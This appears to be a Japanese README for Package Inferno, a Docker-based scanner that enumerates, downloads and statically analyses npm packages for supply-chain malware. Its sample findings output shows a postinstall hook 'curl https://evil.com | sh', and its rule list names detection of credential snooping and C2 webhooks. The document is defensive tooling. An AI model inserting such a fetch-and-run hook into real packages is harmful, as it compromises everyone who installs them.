
コミュニティのための公開パッケージスキャナー
驚くほどシンプルなDockerファーストのnpmサプライチェーンスキャナー。1つのcomposeファイルで以下が実行されます:
これはコンテナ専用エディションです。このプロジェクトはEC2、SQS、RDSを使用してスケールするように構築できます。ツールセットにはそのための設定のほとんどが含まれています。
scan.yml による設定可能なルール(許可リスト、しきい値、YARA)scan_runs)がすぐに使える~/.aws を使用)docker-compose.yml – サービス: db、enumerator、fetcher、analyzer、dashboard、init-dbenumerator/ – NDJSONキューを構築するNodeワーカーfetcher/ – tarballをダウンロードするNodeワーカー(有効な場合はS3へアップロード)analyzer/ – Python静的アナライザー(オプションのインラインYARA付き)dashboard/ – Streamlitアプリ(ポート8501)infra/migrations.sql – コアDBスキーマ(packages、versions、findings、scores、indexes)infra/20251106_scan_runs.sql – スキャン履歴テーブルscan.yml – 解析設定(rules、scoring、allowlists、YARA)scripts/run_pipeline.sh – enumerate → fetch → analyze を実行scripts/init_db.sh – DBスキーマを初期化scripts/test_setup.sh – セットアップの自動検証SCANNING_GUIDE.md – 詳細なスキャン戦略と例前提条件: Compose v2 を備えた Docker Desktop(またはエンジン)。
curl -fsSL https://raw.githubusercontent.com/MHaggis/Package-Inferno/main/install.sh | bash
リポジトリを ~/package-inferno にクローンし、開始するための手順を表示します。
GitHub Container Registryからビルド済みコンテナをプルして実行します:
# Clone the repo (for config files and scripts)
git clone https://github.com/MHaggis/Package-Inferno.git
cd Package-Inferno
# Run with pre-built images
docker compose -f docker-compose.ghcr.yml up -d db
./scripts/init_db.sh
SEEDS="lodash,express" docker compose -f docker-compose.ghcr.yml run --rm enumerator
docker compose -f docker-compose.ghcr.yml run --rm fetcher
docker compose -f docker-compose.ghcr.yml run --rm analyzer
利用可能なイメージ:
ghcr.io/mhaggis/package-inferno/enumerator:mainghcr.io/mhaggis/package-inferno/fetcher:mainghcr.io/mhaggis/package-inferno/analyzer:mainインストールを検証するためにテストスクリプトを実行します:
./scripts/test_setup.sh
これにより:
docker compose up -d db
./scripts/init_db.sh
./scripts/run_pipeline.sh
docker compose up -d dashboard
# open http://localhost:8501
DBが有効な場合、検出結果は ./out/findings/*.findings.json と findings テーブルに保存されます。
PackageInfernoは、目的に応じて複数のスキャン戦略をサポートしています:
解析したい特定パッケージを対象にします:
# Single command with seeds
export SEEDS="lodash,express,axios"
./scripts/run_pipeline.sh
# Or from a file
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
./scripts/run_pipeline.sh
最初にテストした方法: クイック検証には SEEDS="is-odd,is-even" を使用しました。
npmレジストリからページング処理でパッケージをスキャンします:
# Clean previous runs
rm -rf downloads/* out/*
# Scan 2 pages of 10 packages each (20 packages)
export MAX_CHUNKS=2 # Number of pages
export CHUNK_LIMIT=10 # Packages per page
unset SEEDS # Important: disable seeds mode
# Run individual steps for better visibility
docker compose run --rm enumerator # Discovers and queues
docker compose run --rm fetcher # Downloads tarballs
docker compose run --rm analyzer # Scans for threats
出力例:
config: chunkLimit=10, maxChunks=2
checking recent changes feed...
changes feed: enqueued 2 new versions
enumerating via _all_docs (fresh scan)
page 1/2 count: 10
page 2/2 count: 10
done, enqueued 22 (22 new versions)
npmレジストリ全体をスキャンします:
export MAX_CHUNKS=0 # 0 = unbounded
export CHUNK_LIMIT=100 # Larger batches for efficiency
./scripts/run_pipeline.sh
警告: これは数時間から数日間実行され、数十万のパッケージをスキャンします。ディスク容量とデータベースサイズを監視してください。
Enumerator はカーソル位置を ./out/enumerator_state.json に保存します:
{
"last_seq": "0",
"last_startkey": "package-name",
"last_run": "2025-11-23T19:24:49.123Z",
"last_processed": 22,
"last_new": 22
}
パイプラインを再実行するだけで、最後のカーソルから再開されます:
./scripts/run_pipeline.sh # Automatically resumes
新しいスキャンを強制するには:
rm -f out/enumerator_state.json
./scripts/run_pipeline.sh
22パッケージの2ページスキャンで、PackageInfernoが検出したものは次のとおりです:
-- Top suspicious packages by score
SELECT p.name, s.score, s.label, COUNT(f.id) as findings
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN scores s ON v.id = s.version_id
LEFT JOIN findings f ON v.id = f.version_id
GROUP BY p.name, s.score, s.label
ORDER BY s.score DESC;
-- Results:
name | score | label | findings
-----------------------+-------+------------+----------
rendition | 606 | malicious | 153
vs-deploy | 454 | malicious | 119
--123hoodmane-pyodide | 213 | malicious | 46
rendition がこれほど疑わしい理由:
url_outside_allowlist - 許可リスト外のドメインsuspicious_pattern - シェル/evalパターンadvanced_obfuscation - 16進エンコード、XOR、文字列配列big_base64_blob - 大きなエンコードペイロードurl_in_code - 埋め込みURLスコアリングシステム(scan.yml で設定)はこれらの検出結果を集計して、リスクスコアとラベル(clean、suspicious、または malicious)を生成します。
docker compose up -d dashboard 実行後、 http://localhost:8501 を開きます
機能:
カスタム分析のための直接SQLアクセス:
# Connect to database
docker exec -it pi-postgres psql -U piuser -d packageinferno
便利なクエリ:
-- Packages with credential theft attempts
SELECT DISTINCT p.name, v.version, s.score
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
JOIN scores s ON v.id = s.version_id
WHERE f.rule = 'env_snoop'
ORDER BY s.score DESC;
-- All C2/webhook destinations found
SELECT p.name, f.details->>'endpoints' as c2_endpoints
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'c2_webhook';
-- Typosquatting attempts
SELECT
p.name,
f.details->>'target_package' as impersonating,
f.details->>'similarity' as similarity_pct,
f.details->>'typosquat_type' as attack_type
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'typosquat_detected'
ORDER BY (f.details->>'similarity')::float DESC;
-- Packages with native binaries
SELECT p.name, f.details->>'path' as binary_path
FROM packages p
JOIN versions v ON p.id = v.package_id
JOIN findings f ON v.id = f.version_id
WHERE f.rule = 'native_binary_present';
検出結果は ./out/findings/ 配下に構造化JSONとしても保存されます:
# View findings for a specific package
cat out/findings/[email protected] | jq .
# Count findings by severity
jq -r '.findings[].severity' out/findings/*.findings.json | sort | uniq -c
# Extract all C2 URLs found
jq -r '.findings[] | select(.rule=="c2_webhook") | .details.full_urls[]' out/findings/*.findings.json
S3に成果物を置きたい場合:
package-inferno-tarballs(生のnpm tarball)package-inferno-findings(アナライザーの出力)~/.aws に有効な認証情報が含まれていることを確認します(プロファイルまたは環境ベース)。export AWS_REGION=us-west-2
export S3_TARBALLS=package-inferno-tarballs
export S3_FINDINGS=package-inferno-findings
export AWS_PROFILE=default # optional; or rely on env creds
composeは ~/.aws をfetcherとanalyzerにマウントします。LOCAL_ONLY=false の場合、fetcherはtarballを S3_TARBALLS にアップロードします。S3_FINDINGS が設定されている場合、analyzerはローカルに書き込んだ後、検出結果JSONをアップロードします。
使用しているユーザー/ロールにアタッチする最小IAMポリシー例:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "S3Access",
"Effect": "Allow",
"Action": ["s3:PutObject","s3:GetObject","s3:ListBucket"],
"Resource": [
"arn:aws:s3:::package-inferno-tarballs",
"arn:aws:s3:::package-inferno-tarballs/*",
"arn:aws:s3:::package-inferno-findings",
"arn:aws:s3:::package-inferno-findings/*"
]
}
]
}
主要な設定項目は scan.yml にあります。主なハイライト:
analysis.allow_domains – 「外部許可リスト」違反を出さないドメインanalysis.allowlist.build_tools – 良性のビルド手順の正規表現analysis.yara.* – インラインYARAの有効化(デフォルトはオン)、ルールパス、サイズ/時間制限scoring.rule_weights と scoring.thresholds – 「suspicious/malicious」の調整設定できるコンテナ環境変数:
DAYS(デフォルト30)、CHUNK_LIMIT(デフォルト100)、MAX_CHUNKS(デフォルト5)SEEDS、SEEDS_FILE – シードパッケージ名LOCAL_ONLY=true(キューをファイルに出力)、DB_URL(DBに対する重複排除用)LOCAL_ONLY=false でtarballをS3にアップロードS3_TARBALLS、AWS_REGION、AWS_PROFILEMAX_EXTRACT_BYTES=0 で無制限に抽出S3_FINDINGS、AWS_REGIONDB URLはローカルcompose用に事前設定されています:
postgres://piuser:pipass@db:5432/packageinferno
./out/fetch_queue.ndjson に書き込みます(「queued」バージョンをDBにupsertすることも可能)。./downloads にダウンロードし、設定されていればS3にアップロードします。./out/findings に書き込みます。DBが設定されている場合は、検出結果とスコアをupsertします。enumerator/src/enumerator.js)目的: スキャンするnpmパッケージを検出し、作業キューを構築します。
処理内容:
SEEDS 環境変数または SEEDS_FILE を使用して特定のパッケージをスキャン_changes エンドポイントを監視して最近の更新を検知_all_docs エンドポイントをページング処理(カーソル再開可能)./out/fetch_queue.ndjson またはSQSに出力主要な環境変数:
SEEDS="pkg1,pkg2" - スキャンするパッケージ名のカンマ区切りリストSEEDS_FILE - 1行に1パッケージを記載したテキストファイルのパスMAX_CHUNKS=5 - ページングの制限(0 = 無制限)CHUNK_LIMIT=100 - APIページあたりのパッケージ数DB_URL - 重複排除用のPostgres接続使用例:
# Scan specific packages
export SEEDS="lodash,express,axios"
docker compose run --rm enumerator
# Scan from file
echo -e "react\nvue\nangular" > packages.txt
export SEEDS_FILE=packages.txt
docker compose run --rm enumerator
fetcher/src/fetcher.js)目的: レジストリからnpm tarballをダウンロードします。
処理内容:
./out/fetch_queue.ndjson(またはSQS)からキューを読み取る./downloads/ に [email protected] として保存S3_TARBALLS)にアップロード主要な環境変数:
LOCAL_ONLY=true - S3アップロードをスキップ(ローカル専用モード)S3_TARBALLS - tarball保存用のS3バケット名DOWNLOAD_DIR=./downloads - ローカル出力ディレクトリMAX_RETRIES=5 - HTTPリトライ回数S3キー形式: npm-raw-tarballs/{name}/{version}.tgz
analyzer/src/analyzer.py)目的: パッケージ内の悪意のあるパターンを検出する静的解析エンジンです。
処理内容:
package.json から解析scan.yml の重み付きルールを使用して検出結果をスコアリング./out/findings/ に書き込み、DBにupsert検出ルール(完全なリストは analyzer/src/analyzer.py を参照):
lifecycle_script - リスクのあるinstall/postinstallフックurl_outside_allowlist - 許可されていないドメインへのネットワーク呼び出しc2_webhook - 既知の外部送信(exfiltration)エンドポイント(Discord、Slack、Telegram)env_snoop - AWSキー、トークン、パスワードへのアクセスwrites_outside_pkg - .ssh、.npmrc、システムディレクトリへのファイルシステム書き込みtyposquat_detected - 人気パッケージに類似したパッケージ名advanced_obfuscation - 16進、XOR、文字列配列、制御フロー平坦化yara_match - YARAルールのヒット(マルウェア、エクスプロイト、ウェブシェル)phishing_form - 認証情報を収集するフォームnative_binary_present - PE/ELF/Mach-O実行ファイル主要な環境変数:
MAX_EXTRACT_BYTES=0 - 展開サイズ制限(0 = 無制限)SCAN_YML=/app/scan.yml - 設定ファイルのパスDB_URL - 検出結果保存用のPostgres接続S3_FINDINGS - 検出結果アップロード用のS3バケット出力形式 (*.findings.json):
{
"tgz": "/downloads/[email protected]",
"findings": [
{
"rule": "lifecycle_script",
"severity": "high",
"details": {
"key": "postinstall",
"value": "curl https://evil.com | sh",
"tags": ["shell_spawn", "downloader"],
"explanation": "High-risk postinstall hook: shell_spawn, downloader"
}
}
]
}
1. パターンベースの検出(analyzer/src/analyzer.py に追加):
# Define regex pattern
CUSTOM_PATTERN_RE = re.compile(rb'dangerous-function\s*\(', re.I)
# Add to analyze_file_bytes() function
def analyze_file_bytes(path: Path, b: bytes, allow_domains: list[str]):
# ... existing code ...
# Your custom check
if CUSTOM_PATTERN_RE.search(b):
out.append({
'rule': 'custom_dangerous_function',
'severity': 'high',
'details': {
'path': str(path),
'explanation': 'Detected dangerous-function call'
}
})
return out
2. スコアリングの重みを追加(scan.yml):
scoring:
rule_weights:
custom_dangerous_function: 6 # Your new rule
# ... existing rules ...
thresholds:
suspicious: 7
malicious: 12
3. スコアリング関数を更新(analyzer/src/analyzer.py):
def score_findings(findings, scoring):
weights = scoring.get('rule_weights', {})
score = 0
for f in findings:
rule = f['rule']
w = 0
# ... existing rules ...
elif rule == 'custom_dangerous_function':
w = weights.get('custom_dangerous_function', 6)
score += int(w)
# ... rest of function ...
1. カスタムルールファイルを作成(yara-rules/custom.yar):
rule CustomMalware {
meta:
description = "Detects custom threat pattern"
severity = "high"
strings:
$s1 = "malicious_string" ascii
$s2 = /evil_regex_[0-9]{4}/
condition:
any of them
}
2. scan.yml を更新:
analysis:
yara:
enabled: true
rules_path: yara-rules/custom.yar # Point to your rules
max_file_size_mb: 10
timeout_seconds: 30
3. docker-compose.yml でカスタムルールをマウント:
analyzer:
volumes:
- ./yara-rules:/app/yara-rules:ro
誤検知を減らすために信頼できるドメインを scan.yml に追加します:
analysis:
allow_domains:
- registry.npmjs.org
- github.com
- your-cdn.com # Add your domain
正当なビルドコマンドを許可リストに追加:
analysis:
allowlist:
build_tools:
- \bmy-custom-build-tool\b
- \bmake\s+clean\b
docker compose up -d db が実行されていることを確認し、./scripts/init_db.sh を再実行します。~/.aws/credentials、AWS_REGION、バケットポリシー/権限を確認します。scan.yml でファイルサイズ制限を下げるか、インラインYARAを無効にします(analysis.yara.enabled: false)。CHUNK_LIMIT を下げるか、MAX_CHUNKS を段階的に増やすことができます。| モード | ユースケース | 速度 | カバレッジ | コマンド |
|---|
| 特定シード | 既知パッケージのテスト/調査 | 最速 | 対象を絞る | SEEDS="pkg1,pkg2" |
| 小規模バッチ | セットアップの検証、サンプルスキャン | 高速 | 10〜100パッケージ | MAX_CHUNKS=2 CHUNK_LIMIT=10 |
| 全レジストリ | 包括的なサプライチェーン監査 | 数時間〜数日 | 200万+パッケージ | MAX_CHUNKS=0 CHUNK_LIMIT=100 |
| 変更フィード | 新規リリースの監視(自動的に含まれる) | リアルタイム | 最近の更新 | 組み込み |
DB_URL で検出結果とスコアをPostgresに書き込み